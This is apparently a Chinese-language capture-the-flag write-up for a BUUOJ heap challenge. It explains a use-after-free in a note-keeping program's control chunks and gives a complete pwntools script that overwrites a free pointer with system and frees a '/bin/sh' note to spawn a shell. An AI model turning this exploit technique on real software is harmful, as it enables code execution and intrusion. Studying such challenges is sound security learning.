拖进IDA反编译。
程序有三个功能:创建NOTE,删除NOTE,print NOTE
创建NOTE的时候会先malloc一个固定大小为0xC的chunk。
然后再malloc一个大小自己设置的chunk。
不难发现,第一个申请的chunk起到控制作用,用来存放每一个NOTE都会有的功能。
两个chunk之间的关系应该如下图。我们把第一个chunk命名为control,第二个chunk命名为content。control
control块有三个部分,print和free,还有ptr。ptr指向content。
若要printcontent的内容,就调用control里的print。
若要free这个NOTE,直接调用control里的free。
创建NOTE有两个类型,一个是text,一个是int。两个NOTE有不同的点就是free的时候有区别。这是一个利用点!
free掉int的时候只free了control块。
free掉text的时候free了control和content两个块。
思路就已经很明显了。我们把control块的free改成system,然后再把records表里的对应的地址改成/bin/sh。这样我们free掉对应的NOTE时,就相当于system(’/bin/sh’)。
下面是攻击流程:
先创建一个text类型的NOTE1,大小定义为0xC,这样就会申请出来两个大小都为0xC的chunk.一个control一个content。
然后创建一个int类型的NOTE2。这样申请出来一个control。
再创建一个int类型的NOTE5。申请出来一个control。
再申请一个text类型的NOTE3,只是为了分隔TOPCHUNK。
现在我们的堆分布情况如下:
然后我们free掉NOTE1,会先free掉content1,然后free掉control。
fastbins的情况应该如下:
然后我们再free掉NOTE2,只会free掉一个control2.fastbins的情况如下:
那么这个时候如果我们申请一个text类型的,大小为0xC的NOTE4。会取出control2作为这个NOTE4的control,取出control1作为这个control的content部分。堆块的分布如下:
如果我们申请的这个NOTE4的内容是system函数,那么就相当于会在control1里面存system函数。但是control1又是NOTE1的控制块,所以就大有可为了。
然后我们再free掉NOTE5,这个时候只会free掉一个control5。这个时候fastbins和堆块分布图如下:
虽然图中control5和content1不一样大,但是我们实际上通过控制申请的大小,两者是一样大小的。
这个时候我们再次申请一个NOTE6,就会把control5申请回来做为NOTE6的control,把content1申请回来作为NOTE6的content。这个时候就可以往content1里面填/bin/sh。申请回来还是放在原位置。堆块分布如下:
可以发现:control1的free部分被改成了system,content1被改成了/bin/sh。
那么我们只需再次free掉NOTE1,便可以达到system(’/bin/sh’)。
代码如下:
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn','26713')
#r=remote('node4.buuoj.cn','26799')
#r=process('./b')
elf=ELF('./b')
context.log_level = 'debug'
libc = ELF("./libc-2.23-32.so")
#context.terminal = ['tmux','splitw','-h']
def add(idx,length,value):
r.recvuntil("> ")
r.sendline('1')
r.recvuntil("> ")
r.sendline(str(idx))
r.recvuntil("> ")
r.sendline('2')
r.recvuntil("> ")
r.sendline(str(length))
r.recvuntil("> ")
r.sendline(str(value))
def addint(idx,value):
r.recvuntil("> ")
r.sendline('1')
r.recvuntil("> ")
r.sendline(str(idx))
r.recvuntil("> ")
r.sendline('1')
r.recvuntil("> ")
r.sendline(str(value))
def delete(idx):
r.recvuntil("> ")
r.sendline('2')
r.recvuntil("> ")
r.sendline(str(idx))
def show(idx):
r.recvuntil("> ")
r.sendline('3')
r.recvuntil("> ")
r.sendline(str(idx))
def purchase():
r.recvuntil("> ")
r.sendline('4')
free_got=elf.got['free']
system_plt=elf.plt['system']
add(1,0xC,'aaaa')
addint(2,300)
addint(5,300)
add(3,0x10,'bbbb')
delete(1)
delete(2)
payload='bash'+p32(system_plt)
add(4,0xC,payload)
delete(5)
payload='/bin/sh\x00'
add(6,0xC,payload)
delete(1)
r.interactive()